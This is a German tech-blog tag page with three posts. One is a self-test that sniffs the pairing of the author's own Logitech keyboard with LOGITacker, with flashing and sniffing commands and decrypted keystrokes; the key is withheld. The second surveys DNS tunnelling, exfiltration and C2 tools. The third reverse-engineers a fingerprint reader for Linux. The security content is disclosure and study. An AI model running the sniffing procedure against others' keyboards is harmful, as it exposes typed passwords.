IT security, FreeBSD, Linux, mail server hardening, post-quantum crypto, DNS, retro computing & hands-on hardware hacks. Privater Tech-Blog seit 2003.

Schlagwort: Hacking (Seite 1 von 2)

Teil 2: Funktastatur unter Linux „hacken“: AES-Key aus dem Pairing ableiten und Tastendrücke entschlüsseln

„Im nächsten Teil wird nicht nur erklärt, sondern gemacht. Mit einem nRF52840-Dongle und Logitacker schneide ich den Kopplungsvorgang einer Unifying-Tastatur mit, leite daraus den Schlüssel ab und lese die Eingaben mit.“ Das habe ich am Ende des letzten Beitrags geschrieben. Jetzt löse ich es ein.

Kurz zur Erinnerung, falls du den ersten Teil nicht gelesen hast: Logitech-Funktastaturen mit Unifying-Empfänger verschlüsseln die Übertragung mit AES, aber die Kopplung selbst, also der kurze Moment, in dem sich Tastatur und Empfänger gegenseitig kennenlernen, hat eine nie gepatchte Design-Lücke. Wer genau in diesem Moment mithört, kann daraus den Schlüssel ableiten. Das ist CVE-2019-13052, seit 2019 öffentlich, von Logitech nie gefixt.

Logitech MX Keys mit Unifying-Empfänger und nRF52840-Dongle beim Mitschneiden einer Funk-Kopplung mit LOGITacker

Im ersten Teil stand das als Zeile in einer CVE-Datenbank und als Absatz in einer Offenlegung von Marcus Mengs. Diesmal nicht. Diesmal sitze ich mit einem Dongle für unter 30 Euro vor meiner eigenen MX Keys, schneide die Kopplung mit, und am Ende tippe ich auf der Tastatur, während eine Konsole live mitliest, was ich gerade drücke.

Vorweg die Grenze des Beitrags, damit du nicht am Ende danach suchst: den abgeleiteten AES-Schlüssel zeige ich nirgends. Warum, erkläre ich weiter unten. Die Kurzform: das war zum Zeitpunkt der Aufnahme ein aktives, funktionierendes Credential für meine echte Tastatur, kein historisches Artefakt.

Der Dongle, und welches Werkzeug ich benutze

Im ersten Teil hatte ich einen GeeekPi-Dongle über einen Amazon-Affiliate-Link verlinkt, als Empfehlung für genau dieses Vorhaben. Ehrlich gesagt bin ich am Ende nicht mit dem losgezogen. Zwischen dem Schreiben des ersten Beitrags und diesem Versuch lag noch eine Bestellung woanders, und am Ende kam das Board, das gerade greifbar war, nicht das verlinkte. In der Hand hatte ich stattdessen ein makerdiary nRF52840-MDK USB Dongle, anderer Hersteller, anderes Layout, aber derselbe Chip: ein Nordic nRF52840, auf dem Board direkt aufgedruckt mit N52840 QIAADO 2330FM. Kein Beinbruch, eher ein guter Aufhänger für den Bezugsquellen-Block weiter unten, den ich mir sonst hätte sparen können.

Verpackung des makerdiary nRF52840-MDK USB Dongle mit aufgedrucktem Board-Layout und Pinbelegung.
Die Verpackung des makerdiary nRF52840-MDK USB Dongle, mit aufgedrucktem Board und den Pin-Bezeichnungen.

Werkzeug ist LOGITacker, ursprünglich von mame82, also Marcus Mengs selbst, gebaut und heute unter RoganDawes auf GitHub aktiv gepflegt. Anders als etwa jackit läuft hier keine Angriffslogik auf dem Laptop, LOGITacker ist ein Standalone-Gerät. Die komplette Software steckt auf dem Dongle, bedient wird sie über eine serielle Konsole per USB, der Laptop selbst sieht am Ende nur ein weiteres USB-Gerät mit ein paar zusätzlichen Schnittstellen. Vier Boards werden offiziell unterstützt: der Nordic pca10059, zwei makerdiary-Boards, darunter genau das hier verwendete MDK Dongle, und ein Board von April Brother. Kein Zufallstreffer also. Das Board war von Anfang an ein sinnvoller Kauf für dieses Vorhaben, auch wenn es nicht das verlinkte war, und ich musste vor dem Kauf nicht einmal lange suchen, die Liste der unterstützten Boards steht direkt im Repository.

Geflasht habe ich logitacker_mdk_dongle.hex aus Release v0.2.3-beta, Stand 17. Januar 2020 und bis heute die aktuellste verfügbare Version. Kein Neubau aus dem Quellcode nötig, an der zugrundeliegenden Lücke hat sich seit 2020 nichts geändert. Pfostenstifte liegen dem Board bei, werden für dieses Experiment aber nicht gebraucht. Flashen und Betrieb laufen komplett über USB, kein Lötkolben in Sicht.

Das makerdiary nRF52840-MDK USB Dongle neben den beiliegenden, losen Pfostenstiftleisten. Auf dem Chip steht der Aufdruck N52840 2330FM.
Das Board selbst, mit lesbarem Chip-Aufdruck N52840 2330FM. Die Pfostenstifte liegen bei, werden für dieses Experiment aber nicht gebraucht.

Flashen, und wie ich den Bootloader falsch eingeschätzt habe

Ich bin mit der Annahme reingegangen dass so ein Nordic-Board ein serielles DFU spricht, das man mit nrfutil bedient. Falsch gedacht. Hält man beim Einstecken den Knopf auf dem Board, meldet es sich stattdessen als schnödes USB-Massenspeichergerät:

$ lsblk -o NAME,SIZE,LABEL,FSTYPE,MOUNTPOINT
sda   32,1M UF2BOOT vfat /media/kernel/UF2BOOT

Ein UF2-Bootloader, keine Nordic-eigene serielle Schnittstelle. LOGITackers Release liefert für dieses Board aber nur eine .hex-Datei, keine fertige .uf2. Also musste ich die Datei erst mit Microsofts eigenem uf2conv.py umwandeln, und zwar mit der richtigen Familien-ID, die ich mir nicht ausgedacht, sondern gegen die mitgelieferte uf2families.json geprüft habe:

$ grep -A2 NRF52840 uf2families.json
    "id": "0xada52840",
    "short_name": "NRF52840",

$ python3 uf2conv.py -f 0xADA52840 -c -o logitacker_mdk_dongle.uf2 logitacker_mdk_dongle.hex
Converted to uf2, output size: 470528, start address: 0x1000
Wrote 470528 bytes to logitacker_mdk_dongle.uf2

$ cp logitacker_mdk_dongle.uf2 /media/kernel/UF2BOOT/

Der Bootloader hat die Datei angenommen und das Laufwerk danach getrennt, das ist normales Verhalten beim Flashen. Was nicht normal lief: das Board hat sich anschließend nicht von selbst mit der neuen Firmware gemeldet. Erst ein einmaliges Aus- und wieder Einstecken hat es zurückgebracht, und dann korrekt:

$ lsusb
Bus 001 Device 021: ID 1915:520c Nordic Semiconductor ASA Logitacker by MaMe82

Vier neue Schnittstellen kamen dazu: seriell, Maus, Tastatur und HID-Rohdaten. Ein nettes Detail am Rand, die USB-Seriennummer trägt die Firmware-Version gleich mit, v0.2.3-beta.

Das nRF52840-MDK-Dongle im USB-Port eines Notebooks, mit durchgehend grün leuchtenden LEDs im Bootloader-Modus.
Im UF2-Bootloader-Modus leuchten die LEDs des Dongles durchgehend grün.

Erstkontakt, und die Adresse stand quasi auf dem Karton

Serielle Konsole auf, 115200 Baud, fertig. Der Standardmodus von Logitacker heißt discover, eine Art passiver Dauerscan, und der bringt schon etwas, bevor ich überhaupt ein Kommando eingetippt habe:

<info> LOGITACKER_PROCESSOR_DISCOVER: DISCOVERY: received valid ESB frame (addr C3:1F:D0:D1:07, len: 15, ch idx 0, raw ch 5, rssi 47)
<info> LOGITACKER_PROCESSOR_DISCOVER: discovered device is Logitech

C3:1F:D0:D1:07. Das ist keine zufällige Adresse. Die USB-Seriennummer meines Tastatur-Empfängers, die sowohl solaar show meldet als auch auf dem Gehäuse aufgedruckt steht, lautet C31FD0D1. Exakt dieselbe Bytefolge, als Präfix der Funkadresse. Ohne jeden Angriff, nur weil das Gerät eingeschaltet ist, lässt sich die Funkadresse eines Unifying-Empfängers aus der Seriennummer ablesen, die außen auf dem Gehäuse steht.

Ich habe kurz gebraucht, um das wirklich zu glauben, und den Empfänger deshalb aus dem Rechner gezogen und die Seriennummer noch einmal mit der Lupe der Handykamera abfotografiert, im Vergleich zur Konsolenausgabe daneben. Kein Tippfehler, keine Verwechslung, dieselben acht Zeichen. Für einen Angriff braucht es das ohnehin nicht, discover läuft passiv und komplett ohne dass ich irgendetwas an Tastatur oder Empfänger anfassen müsste.

Drei Versuche, die nichts brachten, und der eine, der klappte

Diagramm: zwei Kopplungsversuche über die Easy-Switch-Taste blieben ohne Funkanfrage beim Dongle, der dritte Versuch per Aus- und Wiedereinschalten der Tastatur war beim ersten Mal erfolgreich.
Zwei Versuche über die Easy-Switch-Taste brachten nichts, der dritte Versuch nach der dokumentierten Methode klappte sofort.

Um einen echten Kopplungsvorgang mitzuschneiden, muss erst einer stattfinden. Also den Mitschnitt-Modus starten und danach die schon gekoppelte MX Keys trennen, damit sie sich während laufendem Mitschnitt neu koppeln kann:

LOGITacker (discover) $ pair sniff run
<info> LOGITACKER_RADIO: Channel hopping stopped
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: Sniff pairing on address BB:0A:DC:A5:75
<info> ESB_ILLEGALMOD: Using channel table 'Unifying pairing'
<info> ESB_ILLEGALMOD: New channel table with length 11
$ solaar unpair 1DA452CF
Unpaired 1: MX Keys Keyboard (MX Keys) [408A:1DA452CF]

$ solaar pair C31FD0D1
Pairing: turn your new device on (timing out in 30 seconds).

Erster Versuch: Easy-Switch-Taste „1“ gehalten, laut solaar show genau der Kanal, der für diesen Rechner reserviert ist. Die LED blinkte brav weiter. Beim Dongle kam in den vollen 30 Sekunden, die solaar pair öffnet, nichts an:

<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 44
... (many more channel hops, receiver beacon tracked continuously) ...
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: Lost dongle in pairing mode, restart channel hopping

Zweiter Versuch, gleiche Methode, gleiches Ergebnis. solaar pair lief diesmal direkt in einen Timeout:

$ solaar pair C31FD0D1
solaar: error: Exception: pairing failed: device timeout

An der Stelle dachte ich kurz, das Board oder die Firmware hätten ein Problem, und habe testweise sogar den Kanal manuell auf den Standardwert zurückgesetzt und noch einmal von vorne begonnen. Half nichts. Meine Deutung dazu, ausdrücklich eine Deutung und kein gemessener Fakt: das Dauerblinken der Easy-Switch-LED zeigt vermutlich nur an, dass dieser Kanal aktuell keinen Empfänger kennt, keine aktive Funksuche. Analysiert habe ich das interne Verhalten der Tastatur nicht, dafür fehlt mir der Einblick, und ich will hier nichts behaupten, was ich nicht geprüft habe.

Dritter Versuch, diesmal nach der Methode, die die Logitacker-Dokumentation für Unifying-Geräte tatsächlich vorschreibt und die mit der Easy-Switch-Taste nichts zu tun hat: Tastatur ausschalten, Kopplungsfenster am Empfänger öffnen, Tastatur wieder einschalten. Erster Versuch nach dieser Methode, sofort erfolgreich:

<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 5
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF assigned C3:1F:D0:D1:08 as new sniffing address
<info> LOGITACKER_PAIRING_PARSER: Device name: MX Keys
<info> LOGITACKER_PAIRING_PARSER: Device RF address: C3:1F:D0:D1:08
<info> LOGITACKER_PAIRING_PARSER: Device serial: 1D:A4:52:CF
<info> LOGITACKER_PAIRING_PARSER: Device WPID: 0x408A
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: device automatically stored to flash
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: Sniffed full pairing, moving on with passive enumeration for C3:1F:D0:D1:08

solaar show bestätigt unabhängig dieselbe Seriennummer 1DA452CF und denselben WPID 408A für dieselbe Tastatur, wobei die neu ersniffte Funkadresse C3:1F:D0:D1:08 denselben Präfix trägt wie die passive Sichtung von vorhin, nur eine Adresse höher.

Was ich da wirklich in der Hand hatte, und was ich bewusst nicht zeige

Ein erfolgreich mitgeschnittener Kopplungsvorgang liefert bei Logitacker fünf Dinge: Gerätename, Funkadresse, Seriennummer, WPID, und einen 16 Byte langen AES-Schlüssel. Die ersten vier stehen oben, alle unabhängig gegen Solaar geprüft. Der Schlüssel steht hier nicht. Kein einziges Byte davon, auch keine erfundenen Beispielwerte, die nur wie ein Schlüssel aussehen würden.

Der Unterschied zur EK-Zertifikat-Entscheidung im TPM-Beitrag lässt sich in einem Satz sagen: dort ging es um eine dauerhafte Geräte-Kennung, eindeutig, aber für sich genommen nicht ausnutzbar. Hier ging es um ein Credential, das im Moment der Aufnahme aktiv gültig war und echten Zugriff auf meine echte, gerade auf meinem Schreibtisch liegende Tastatur bedeutet hätte. Direkt im Anschluss an den Mitschnitt aus dem nächsten Abschnitt habe ich die Kopplung deshalb noch einmal neu gemacht, um den mitgeschnittenen Schlüssel ungültig zu machen:

$ solaar unpair 1DA452CF
Unpaired 1: MX Keys Keyboard (MX Keys) [408A:1DA452CF]

$ solaar pair C31FD0D1
Pairing: turn your new device on (timing out in 30 seconds).
Paired device 1: MX Keys Keyboard (MX Keys) [408A:1DA452CF]

Wieder die Aus-und-Einschalt-Methode, wieder auf Anhieb erfolgreich. Der Schlüssel aus dem Mitschnitt ist damit nicht mehr der Schlüssel, der heute im Einsatz ist. Falls du dich fragst, ob das den Beweis im nächsten Abschnitt irgendwie entwertet: nein, der wurde vorher aufgezeichnet, die Rotation kam erst danach.

Der Beweis: Tastenanschläge in Echtzeit entschlüsselt

Diagramm: vom Pairing-Handshake über den mitgeschnittenen und abgeleiteten AES-Schlüssel bis zur Live-Entschlüsselung der Tastenanschläge, wobei der Schlüssel selbst nicht gezeigt wird.
Der Ablauf vom mitgeschnittenen Handshake bis zum entschlüsselten Klartext. Der Schlüssel selbst taucht in diesem Beitrag nirgends auf.

Nach dem erfolgreichen Mitschnitt wechselt Logitacker automatisch in einen passiven Mithör-Modus. Ich habe angefangen, auf der frisch wieder gekoppelten MX Keys zu tippen, und die Konsole hat live mitgeschrieben. Vier Tastendrücke aus derselben Sitzung, jeder mit eigenem Rohframe und eigenem entschlüsseltem Ergebnis:

ZählerVerschlüsselter RohframeEntschlüsselter Klartext-ReportErkannte Taste
4693281200 D3 45 B3 46 90 36 E6 B0 93 46 93 28 12 00 00 00 00 00 00 00 ED00 13 00 00 00 00 00 C9P
4693281400 D3 82 5E 0C 2F 89 D7 B2 86 46 93 28 14 00 00 00 00 00 00 00 6500 17 00 00 00 00 00 C9T
4693281600 D3 C7 B6 18 D3 34 82 1E 3D 46 93 28 16 00 00 00 00 00 00 00 9D00 37 00 00 00 00 00 C9.
4693281800 D3 68 E2 F1 7D 3C 6B D6 3D 46 93 28 18 00 00 00 00 00 00 00 A200 28 00 00 00 00 00 C9ENTER

Nacheinander gelesen: P, T, ., ENTER. Kein vollständiges Wort, sondern das Ende eines Satzes, den ich in dem Moment tatsächlich getippt habe, plus Enter. Genau das steht hier auch so, nicht schöngeredet zu mehr, als es ist.

Die Rohframes in der Tabelle sind Chiffretext, unbedenklich zum Zeigen, reines Rauschen ohne den Schlüssel. Was daraus die Klartext-Reports macht, ist der Schlüssel aus dem vorigen Abschnitt, und der taucht hier nicht auf. Ich habe dabei ziemlich bewusst langsam getippt, fast schon ein bisschen albern vor dem eigenen Bildschirm, nur um in der Konsole klar zuordnen zu können, welche Zeile zu welchem Tastendruck gehört. Es hat trotzdem gedauert, bis ich wirklich geglaubt habe, was da steht.

Was das nicht war

Eine kurze, ehrliche Einordnung. Dieser Versuch endet beim Mitlesen. Ich habe keine Einschleusung versucht, obwohl derselbe bekannte Schlüssel das technisch auch für gefälschte, eingeschleuste Tastenanschläge ermöglicht hätte, also für aktiven Angriff statt reinem Zuhören. Das ist die andere Hälfte von CVE-2019-13052, und die habe ich bewusst nicht angefasst. Nicht aus technischer Unfähigkeit, Logitacker kann das nachweislich, sondern weil eine aktive Einschleusung gegen die eigene Tastatur eine andere Kategorie Experiment ist als reines Zuhören, und weil das für den Beleg der Lücke in diesem Beitrag nicht nötig war.

Was das für die Empfehlung aus Beitrag 1 bedeutet

Im ersten Teil stand am Ende eine Rangfolge: Kabel für wirklich Geheimes, Logi Bolt oder sauberes Bluetooth fürs Büro, vorhandenes Unifying behalten und pflegen, No-Name-Funktastaturen ersetzen. An dieser Rangfolge ändert dieser Beitrag nichts. Was sich ändert, ist der Status des Arguments dahinter. Die Kopplungs-Lücke ist jetzt kein Datenbankeintrag mehr, sondern ein Ablauf, den ich mit handelsüblicher Hardware für unter 30 Euro selbst gegen mein eigenes Gerät durchgeführt habe, an einem gewöhnlichen Nachmittag, ohne Speziallabor und ohne Vorwissen, das ich mir nicht selbst aus der Dokumentation hätte holen können. Das praktische Risiko bleibt so klein wie im ersten Teil beschrieben, gebunden an den kurzen, seltenen Moment der Kopplung. Aber „das ist doch nur graue Theorie“ trägt als Einwand jetzt nicht mehr, und genau das war für mich der eigentliche Grund, diesen zweiten Teil überhaupt zu schreiben.

Was offen bleibt

  • Warum die Easy-Switch-Taste keine Kopplungsanfrage auslöst, bleibt meine Deutung des Dauerblinkens, keine bestätigte Analyse des Tastatur-internen Verhaltens. Sicher war ich einfach nur zu dumm die Tasten in der richtigen Reihenfolge zu drücken. gefettfingert
  • Die aktive Einschleusungshälfte von CVE-2019-13052 habe ich mit dem bekannten Schlüssel nicht ausprobiert. Ob und wann daraus noch ein dritter Teil wird, ist offen. Das hängt nun also an euch. Wenn ich sehen wollte, wie ich einfach Text oder Kommandos einschleuse, sagt es mir 🙂
  • Ob sich derselbe Ablauf gegen andere Unifying-Tastaturen als meine MX Keys genauso zuverlässig reproduzieren lässt, habe ich nicht geprüft. Aber hey, wir sind uns nun wohl alle sicher, dass es klappen wird, oder?
  • Die genaue Ursache der beiden ersten Kopplungsversuche, ob Timing, Tastatur-Firmware-Logik oder etwas Drittes, habe ich nicht bis auf die Funkebene nachverfolgt. gefettfingert

Bezugsquellen

Der folgende Link ist ein Affiliate-Link (Werbung). Kaufst du darüber, bekomme ich eine kleine Provision, für dich ändert sich am Preis nichts.

Der Dongle in diesem Beitrag war tatsächlich ein makerdiary nRF52840-MDK USB Dongle, über einen anderen Kanal bezogen. Der verlinkte Dongle trägt denselben Nordic-nRF52840-Chip, ist aber ein anderes Board von einem anderen Hersteller. Ob Logitacker dieses konkrete Modell offiziell unterstützt, habe ich nicht geprüft. Offiziell gelistet sind der Nordic pca10059, zwei makerdiary-Boards und ein Dongle von April Brother.

Siehe auch

Wenn ich irgendwo danebenliege, korrigiert mich gerne, dann lerne ich selbst etwas. Und die Frage an euch zum Schluss: Würdet ihr für ein bisschen mehr Sicherheit auf Logi Bolt oder Kabel umsteigen, oder ist euch das Restrisiko bei einer gepflegten Unifying-Tastatur egal? Wenn ihr mögt, dürft ihr mich dazu sehr gerne fragen.

DNS missbrauchen: Dateisysteme, DOOM und Tunnel durch Port 53

DNS-Missbrauch: Datenübertragung, Tunnel und C2-Kommunikation über DNS (Port 53)

Es gibt Dinge, bei denen man sich fragt, ob die Menschheit vielleicht einfach zu viel Freizeit hat. DNS ist so ein Protokoll, das eigentlich nur eine Aufgabe hat: Namen in IP-Adressen auflösen. Fertig. Simpel. Seit 1983 im Dienst. Aber nein, das reicht manchen Leuten natürlich nicht. Irgendwer schaut sich DNS an und denkt: „Da geht noch was.“ Und dann passieren Dinge. Michael hat mich zuletzt noch einmal daran erinnert (dankööö).

Ich habe mir mal ein paar Projekte angeschaut, die DNS auf eine Art und Weise nutzen, die man nur als kreative Vergewaltigung bezeichnen kann. Jedes einzelne davon ist gleichzeitig brillant und komplett wahnsinnig.

dnsfs: DNS-Resolver als Festplatte

Diagramm: dnsfs speichert Datei-Chunks als TXT-Records in fremden DNS-Resolver-Caches

Ben Cox, bekannt als benjojo, hatte offensichtlich eines Tages die Idee: Was, wenn man die Caches von DNS-Resolvern weltweit als verteiltes Dateisystem benutzt? Nicht die eigenen Resolver. Die von anderen Leuten. Einfach so.

dnsfs zerlegt Dateien in Chunks, kodiert sie als Base64 und schiebt sie als TXT-Records mit einem TTL von 2.147.483.646 Sekunden raus. Das sind knapp 68 Jahre. An fremde, offene DNS-Resolver. Die cachen das brav, und wenn man die Datei wieder haben will, fragt man dieselben Resolver einfach nochmal. Jeder Chunk wird auf drei verschiedenen Resolvern abgelegt, falls einer mal seinen Cache leert.

Verschlüsselung? Nein. Integritätsprüfung? Auch nein. Die Fehlerbehandlung beim Upload besteht darin, 2,5 Sekunden zu warten und bei Misserfolg ein :3 auszugeben. Als Null-Wert verwendet der Code den String „kittens“. Ich liebe es.

Ben hat das Ganze natürlich auch verbloggt und den Titel „true cloud storage“ gegeben. Technisch korrekt. Die Daten liegen ja wirklich verteilt in der Cloud. Nur halt in der Cloud anderer Leute.

DOOM over DNS: Es läuft immer DOOM

Screenshot: DOOM laeuft, geladen aus DNS TXT-Records ueber Cloudflare

Man kennt das Meme: „But can it run DOOM?“ Die Antwort ist immer ja. Taschenrechner, Schwangerschaftstests, Geldautomaten, alles läuft DOOM. Aber doom-over-dns treibt das auf die Spitze.

Die komplette DOOM-WAD (~4 MB) und die Game-Engine werden in fast 2.000 DNS TXT-Records zerlegt und über die Cloudflare API hochgeladen. Ein PowerShell-Skript fragt diese Records zur Laufzeit ab, setzt alles im RAM zusammen und startet das Spiel. Keine Datei wird jemals auf die Festplatte geschrieben. DOOM materialisiert sich quasi aus dem DNS.

Der besondere Clou: Cloudflare liefert die Records über sein globales CDN aus. Man bekommt also kostenloses, weltweites Content-Delivery für DOOM. Im Free-Tier. Man braucht allerdings mehrere Domains, weil Cloudflare die Anzahl der TXT-Records pro Zone begrenzt. Kein Sound, nur Windows, aber hey, es ist DOOM. Aus DNS. Was will man mehr.

iodine: VPN durch die Hintertür

Diagramm: iodine tunnelt IPv4-Traffic durch DNS-Queries an einem restriktiven Netzwerk vorbei

Während die ersten beiden Projekte eher in die Kategorie „weil man es kann“ fallen, ist iodine bitterer Ernst. Seit 2006 aktiv, 7.700 Stars auf GitHub, in C geschrieben und absolut produktionstauglich.

iodine tunnelt kompletten IPv4-Traffic durch DNS-Queries. Daten werden in Subdomain-Labels kodiert (Base32, Base64 oder Base128, je nachdem was der Resolver durchlässt), die Antworten kommen als NULL-, TXT-, SRV-, MX- oder A-Records zurück. Auf beiden Seiten wird ein TUN-Device erstellt und man hat einen vollständigen IP-Tunnel. Durch DNS. Port 53.

Der klassische Use-Case: Du sitzt im Hotel oder am Flughafen, das WLAN kostet 15 Euro pro Stunde, aber DNS-Queries gehen durch. iodine raus, SSH drüber, fertig. Kein besonders schneller Tunnel, einstellige Mbit/s wenn man Glück hat, aber es funktioniert. Seit fast 20 Jahren. Weil DNS-Traffic einfach fast nie geblockt wird.

dnscat2: Command & Control für Pentester

Diagramm: dnscat2 C2-Framework kommuniziert verschluesselt ueber die DNS-Hierarchie

Wo iodine ein Tunnel ist, ist dnscat2 ein komplettes C2-Framework. Ron Bowes hat das Ding für Penetration-Tests gebaut, und es kann deutlich mehr als nur Daten durchschleusen.

Ein C-Client auf dem Zielrechner kommuniziert über DNS-Queries (TXT, CNAME, MX) mit einem Ruby-Server auf dem eigenen autoritativen Nameserver. Der Traffic traversiert die normale DNS-Hierarchie, sieht also für jeden Beobachter aus wie ganz normales DNS. Das Framework bietet interaktive Shells, Dateitransfer, Port-Forwarding und Multi-Session-Management mit einer Metasploit-artigen Konsole.

Die Verschlüsselung nutzt ECDH, Salsa20 und SHA3. Allerdings ist das Crypto selbst designed und wurde nie professionell auditiert. In einem Pentest ist das okay. Für alles andere, naja.

DNSExfiltrator: Daten rausschmuggeln

Screenshot: DNSExfiltrator exfiltriert verschluesselte Dateien ueber DNS-Subdomain-Queries

DNSExfiltrator macht genau das, was der Name sagt: Dateien über DNS-Queries aus einem Netzwerk schmuggeln. Die Datei wird komprimiert, mit RC4 oder AES verschlüsselt und in Base64-kodierte Subdomain-Labels zerlegt. Jedes Label ist eine DNS-Query an den eigenen autoritativen Nameserver, der die Chunks reassembliert.

Das ist kein Spaßprojekt mehr. DNSExfiltrator wird in echten Red-Team-Assessments eingesetzt. Es funktioniert fast überall, weil kaum eine Firewall DNS-Traffic komplett blockiert. Der Client läuft als PowerShell-Skript oder kompiliertes C#, also genau das, was man auf einer Windows-Kiste in einem Unternehmensnetzwerk vorfindet.

Warum DNS?

Die ehrliche Antwort: Weil DNS überall durchkommt. Port 53 ist der eine Port, den wirklich jede Firewall aufmacht. DNS-Traffic wird selten inspiziert, selten rate-limited, selten als verdächtig eingestuft. Das Protokoll ist so fundamental für das Funktionieren des Internets, dass man es schlecht abdrehen kann. Und genau das macht es zum perfekten Kanal für alles, wofür es nie gedacht war.

TXT-Records nehmen quasi beliebigen Text auf. Subdomain-Labels können kodierte Daten enthalten. TTLs bestimmen, wie lange Resolver Daten cachen. Das sind alles Features, die für völlig legitime Zwecke existieren, aber in Kombination ein erstaunlich flexibles Daten-Transportmedium ergeben.

Von „Dateisystem in fremden Resolver-Caches“ über „DOOM aus TXT-Records“ bis hin zu „vollständiges C2-Framework für Pentester“: DNS hält das alles aus. Das Protokoll ist 43 Jahre alt und wurde seitdem in einer Art missbraucht, die sich Paul Mockapetris 1983 sicherlich nicht vorgestellt hat. Aber es funktioniert. Und das ist irgendwie das Schönste daran.

Sollte man eines dieser Projekte produktiv einsetzen? Auf gar keinen Fall. Sind sie trotzdem großartig? Absolut. Manchmal ist die richtige Reaktion auf „Aber warum?“ einfach: „Weil es geht.“

Ich bin vor kurzem auf Podcast „Security as a Podcast“ aufmerksam gemacht worden. Hier werden verschiedene Themen um DNS und Security behandelt. Ebenfalls wird dort erklärt, warum DNS hin und wieder so „missbraucht“ wird, speziell das DNSExfiltrations Thema hat mir gefallen.

Siehe auch:

Fragen oder eigene DNS-Verbrechen zu gestehen? Dann kannst du mich gerne fragen.

NEXT Biometrics NB-2033-U: Reverse Engineering eines Fingerabdrucklesers für Linux

Illustration eines USB-Fingerabdrucklesers mit Linux-Tux und USB-Protokollanalyse (Reverse Engineering NB-2033-U)

Im letzten Beitrag zum Thema hatte ich angekündigt, dass ich mir auch den NB-2033-U vornehmen will. Der steckt in einem zweiten Fujitsu Notebook hier, dem von meiner Tochter Maja. Gleicher Hersteller, gleiche Sensorfamilie, sollte ähnlich laufen wie beim NB-2020-U. Dachte ich.

Falsch gedacht.

Hersteller sagt: geht nicht

Ich hatte bei NEXT Biometrics nach Protokolldokumentation oder einem SDK für den NB-2033-U gefragt. Kevin Hung, Director FAE, antwortete freundlich aber eindeutig:

„Both 2020-U and 2033-U have different firmware and USB stack. The code flow (libusb) related to 2033-U and 2020-U is different. This could be the reason for 2033-U failure/unsupported in linux. As of now, it is not supported.“

Kein SDK, keine Doku, kein Support. Und 74 Einträge auf linux-hardware.org mit Status „failed“ für die USB ID 298d:2033. Weltweit kein Linux-Support für dieses Gerät.

Gut. Dann eben Reverse Engineering.

Erster Versuch: Windows-Treiber belauschen

Plan A war klassisch: Windows-Treiber in einer VM laufen lassen, USB-Traffic mitschneiden. VirtualBox installiert, USB-Passthrough konfiguriert, Windows gestartet. Der Fingerabdruckleser tauchte im Gerätemanager auf. Mit Code 31. Treiber konnte das Gerät nicht starten. Secure Boot hatte VirtualBox den Kernel-Treiber nicht signiert, und der USB-Passthrough war damit unbrauchbar.

Plan A verworfen.

Plan B: Das SDK direkt auf Linux

Das SDK von NEXT Biometrics (libNBBiometrics.so) unterstützt den NB-2033-U intern. Es kommuniziert direkt über libusb, ohne Kernel-Treiber. Das heißt: ich kann das SDK-Sample direkt auf dem Linux-Notebook laufen lassen und gleichzeitig den USB-Traffic mit usbmon mitschneiden.

Dafür musste Secure Boot deaktiviert werden. usbmon ist ein Kernel-Modul, und lockdown=integrity (von Secure Boot gesetzt) blockiert es auch für root. Secure Boot im BIOS aus, lockdown=none in GRUB, Neustart. Danach:

modprobe usbmon
cat /sys/kernel/debug/usb/usbmon/3u > /tmp/capture.txt &
./NBBSample

7654 Zeilen USB-Traffic. Das komplette Protokoll des NB-2033-U, aufgezeichnet während einer Enrollment-Session.

Was dabei rauskam

Das Protokoll ist komplett anders als beim NB-1010-U/NB-2020-U. Kevins Aussage stimmte. Hier die wesentlichen Unterschiede:

EigenschaftNB-1010-U / NB-2020-UNB-2033-U
Bulk IN EndpointEP 3 (0x83)EP 1 (0x81)
Kommandoformat[0x80][CMD][SEQ][0x00]...[CMD][0x00][LEN_LO][LEN_HI][PAYLOAD] (TLV)
Finger-ErkennungEinzelnes 0x38Zwei 0x0D Config + 0x38
Bildübertragung90 Chunks à 540 Bytes180 Chunks à 268 Bytes
InitEinmal 0x07Zweimal 0x07 nötig

Gleicher Sensor-Die (256×180 Pixel, 385 DPI, aktiv thermisch), aber ein komplett anderer USB-Stack. Der NB-2033-U nutzt ein TLV-Format (Type-Length-Value) statt des festen Kommandoschemas vom NB-1010-U. Jedes Kommando hat eine eigene Längenangabe, und die Antworten sind anders strukturiert.

Die Kommandos im Detail

Aus dem USB-Capture konnte ich sechs Kommandos identifizieren:

  • 0x07 — Init/Wake. Muss zweimal gesendet werden, sonst reagiert der Sensor nicht.
  • 0x0D — Sensor-Konfiguration. Wird zweimal vor jeder Finger-Erkennung gebraucht, um den „Enhanced“ Modus zu aktivieren.
  • 0x38 — Finger-Erkennung. Byte 4 der Antwort ist der Detect-Level. Schwellwert 40.
  • 0x12 — Capture starten. Liefert 180 Zeilen à 256 Pixel, 8-Bit Graustufen.
  • 0x13 — Geräteinformationen (Hersteller, Modell, Seriennummer).
  • 0xF7 — Firmware-Version.

Thermischer Sensor: Eigenheiten

Der Sensor misst Temperaturänderungen, nicht statischen Kontakt. Das klingt nach einem Detail, ist aber für die Treiber-Implementierung entscheidend. Finger auflegen erzeugt einen kurzen Spike im Detect-Wert (10 bis 50+). Finger bleibt liegen, und der Wert fällt zurück auf Basisniveau. Der Treiber muss also den Spike erkennen, nicht einen dauerhaften Zustand.

Dazu kommt: Nach dem Init gibt es transiente Spikes, die ungefähr 1,5 Sekunden brauchen, bis sie abklingen. Ohne Settle-Pause nach dem Init erkennt der Treiber Phantom-Finger.

Der Treiber

Rausgekommen ist nb2033.c, ein eigenständiger libfprint-Treiber mit rund 350 Zeilen. Kein proprietärer Code, keine SDK-Abhängigkeit. Das SDK diente nur als Referenz für die Capture-Analyse, der Treiber ist sauber von Grund auf geschrieben. Lizenz: LGPL 2.1+ wie alle libfprint-Treiber.

Die State Machine:

  1. Init (0x07 × 2) mit 1,5 Sekunden Settle-Pause
  2. Finger-Detect-Polling (0x0D + 0x0D + 0x38, Schwellwert 40)
  3. Pre-Capture Config (0x0D)
  4. Capture (0x12) mit 150 ms Pause, dann 180 Zeilen lesen
  5. Bild an libfprint übergeben

Test

Getestet auf Majas Fujitsu Notebook mit Linux Mint 22.3:

$ fprintd-enroll
